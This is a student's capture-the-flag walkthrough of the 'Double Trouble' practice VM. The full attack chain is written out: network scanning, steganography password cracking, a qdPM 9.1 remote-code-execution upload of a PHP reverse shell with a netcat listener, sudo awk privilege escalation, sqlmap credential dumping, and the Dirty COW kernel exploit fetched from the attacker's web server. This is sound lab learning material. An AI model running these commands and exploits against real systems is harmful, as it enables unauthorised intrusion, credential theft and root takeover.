Hayden Bruinsma - Double Trouble Walkthrough

Note: This was one of the first walkthroughs I complete and did not include screenshots, my apologies.

- First step is to identify the machines IP address we are attacking
- Since the machine is on the same network we can discover it using netdiscover which will scan the network for all available hosts
- Find the network we are connected to (**ifconfig**)
- Scan that network
    - **netdiscover -i eth1**
        - -i is the interface flag
        - -r is the range flag (scan all of 192.168.57.0/24 subnet) however we decided not to use this to get a full picture of all networks
    - **Machine identified is 192.168.57.8**
- Scan for the open ports using nmap
    - **Nmap 192.168.57.8 -p- -sV**
        - -p- means all ports
        - -sV means service version of ports
    - Can also perform a smaller scan using
        - Nmap 192.168.57.3 -sV which will only scan the top 1024 ports
- After ports are identified we need to find a way to exploit these open ports
    - In this case the open ports are Port 22 (SSH) and port 80 (HTTP)
        - Port 80 indicates there may be a website associated with the IP address so we should first try this in the web browser
        - This shows us a website!
    - It shows that we are logging into qdPM 9.1
    - We could google around for qdPM exploits and find a way in
    - Other ways to gain access are via sqlInjection
    - Googling shows it is vulnerable to remote code execution and several exploits are available

- Can use the **dirb** tool to find hidden directories
    - **dirb http://192.168.57.8/**
    - This scan has provided unlisted directories and also shows that directory listing is available in the browser (Unsure how this is done I assume it is because dirb can view them)
    - We can now check directories that were shown in the browser
        - We would check each directory but we are following a walkthrough
        - Under https://192.168.57.8/secret we found an image
    - To download this image we can use wget on the directory of the image
    - Or just open and download / save image as

- Can use steghide tool to analyse hidden information about the image

- Navigate to the image saved location and run the command
    - **steghide –extract -sf doubletrouble.jpg**
    - **Passcoded!**
    - Steghide may need to be downloaded
- **To install steghide follow below:**
    - Type the name of the tool in the terminal and it may be suggested to install
    - It failed again sadly due to Curtins rules
        - **See curtin forum -> PTD Forum -> apt on curtin network**
    - This has allowed it to work!

As it is password protected we will use stegcracker to extract the hidden passphrase

- The default wordlists are available pre-installed on kali in **/usr/share/wordlists/**
    - In this case we used **rockyou.txt**
- This scan brute-forces the file to ID the passphrase using the provided wordlist
- Let this run for some time

- After complete we can extract the data using **steghide –extract -sf doubletrouble.jpg**
    - The information will be saved to the creds.txt file
    - **Cat creds.txt** to display the contents
- Credentials are now identified as:
    - otisrush@localhost.com
    - otis666
    -

The exploit we will use is the **qdPM 9.1 Remote Code Execution**

- **Download the exploit from https://www.exploit-db.com/exploits/50944**
- We also must use the PHP-reverse-shell exploit which can be downloaded from GitHub via:
    - git clone https://github.com/pentestmonkey/php-reverse-shell.git
- We must now configure the port and IP for the reverse connection (make sure you are in the correct directory)
    - **cd php-reverse-shell**
    - **vi php-reverse-shell.php**
- **ifconfig to find my IP: 192.168.57.6**
    - Change the ip address to our own
    - Change port if required (just using 1234 for reverse shell connection)
- Able to use wget to get the exploit from exploit-db in future using
    - **wget https://www.exploit-db.com/raw/48146**
    - **vi 48146** (as this is what is was saved as using wget)
- Configure the file
    - Change the payload to the location of the php-reverse-shell.php file (which will be our payload to gain access to the machine)
    - Configure username, password and the login URL
        - login_url=http://192.168.1.28/index.php/login
        - username = otisrush@localhost.com

    - password= otis666
    - payload= "/home/kali/php-reverse-shell/php-reverse-shell.php"
    - listener_port= 1234
- **Run the payload** (may need to change file extension to .py with cp 48146 48146.py)
- The reverse shell was never opened but we can see that there was a file uploaded to the website @ http://192.168.57.8/uploads/users/ called
    - **889170-php-reverse-shell.php**
- **Force exit the upload then run**
    - **nc -lvp 1234**
        - L = listen
        - V = verbose
        - P = port
        - Nc = netcat to listen for a reverse shell in verbose mode on port 1234
- Running this file in uploads/users has allowed us to create the reverse shell on port 1234!
- We can find information about who we are on the system using the below commands
    - **cat etc/issue**
    - **uname -a**
    - **sudo -l**
    - These commands helps us identify the OS and kernel version.
        - We can now research the web for available exploits for these versions
        - Sudo -l checks sudo permissions for the current user
        - It shows we have access to the awk command which can be used to write small programs in Linux
        - We may be able to use this command to escalate privileges
- Run the command **sudo awk‘BEGIN{system(“/bin/bash”)}**
- This creates a bin/bash shell interface which will give us **root access** to the machine
- We can verify this by running the **id** command
- **cd /root**
- Using **ls** we find another file in /root
- We must retrieve this file with wget, to do so we must move it into a location we can access on the attacker system (**/var/www/html/)**
- **cp doubletrouble.ova /var/www/html/**
- **Cd /var/www/html**
- We can download on our attacker machine using **wget http://192.168.57.8/doubletrouble.ova** or we can just go to that same location and save it using the UI
- Now that we have the new VM we want to move it to the main machine to launch it

    - Copy it across to the downloads folder
    - Open with Oracle Virtualbox
    - Make sure the VM is connected using the same adaptor
- The new IP is **192.168.57.9** which we retrieved via **netdiscover -i eth1 -r 192.168.57.0/24**
- **nmap 192.168.57.9 -p- -sV**
- Open the web address as we know port 80 (HTML) is open
- Try default login details
- Use dirb to perform a web application enumeration
- Unable to find any useful files on the webpage

Lets try using **burp**

- Open burpsuite
- Open browser
- http://192.168.57.9/ as the address
- Attempt to login with random details and analyse the POST packet
- Under Dashboard we have identified that SQL injection may be possible
- Copy the POST into a file called **sql**

Now that we know it is vulnerable to SQL injection we can use **sqlmap**

```
Sqlmap -u http://192.168.57.9/ –forms –dbms=mysql -p uname –current-db
```

- Test blank forms **(Y)**
- **Enter**
- Blank fields with random values **Y**
- Run through options until complete

Command summary

```
Sqlmap -u http://192.168.57.9/ –forms –dbms=mysql -p uname –current-db
```

- **-u = target url**
- **-forms =** parse and test forms input fields mostly for **user and password**
- **-dbms =** auto detect database or set it to a database
- **-p** = testable parameter
- **–current-db** = Retrieve DBMS current database
- **Dbms** = database management system

Now retrieving tables now that we have the db name

```
sqlmap -u http://192.168.57.9/ --forms --dbms=mysql -p uname -D doubletrouble --tables
```

- **-D =** database name
-

Now retrieving the users table

```
 sqlmap -u http://192.168.57.9/  --forms --dbms=mysql -p uname -D doubletrouble -T users --dump
```

- **-T** = Tabe to select

- Wait to retrieve information (research this some more via youtube, this tool seems OP)

Information retrieved:
Passwords: GfsZxc1, ZubZub99
Username: montreux, clapton

ssh clapton@192.168.57.9

Flag located!
cat user.txt

- Take note of the kernel version when logged in
- Linux doubletrouble 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64
    - This is vulnerable to **Dirtycow**

Privilege Escalation using dirtycow

- **wget https://www.exploit-db.com/raw/40839**
- However since we don't have internet access we will need to set this up on our own attacking PC
- **python simplehttpserver 5000**
- **cp 40839 /var/www/exploit.c**
    - We start serving on port 5000 from our IP and copy the exploit file to the web server as well as renaming it exploit.c
- **On the machine we have the shell on**
    - **wget 192.168.57.6:5000/exploit.c**
- Now we must compile it
    - **gcc -pthread exploit.c -o dirty -lcrypt**
- Description on the exploit website has given us information that we must execute the file named 'dirty' and provide a new password for the **root** user. The default name of the privilege account is **firefart**

- After it has finished running
    - User: **su firefart**
    - Password: **1234** (which is what I changed it to)
    - We now have root privilege (**id**)
- Flag is found in the /root directory as "root.txt"
    - **cat /root/root.txt**

ATTACK COMPLETE!!!!

- **1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble**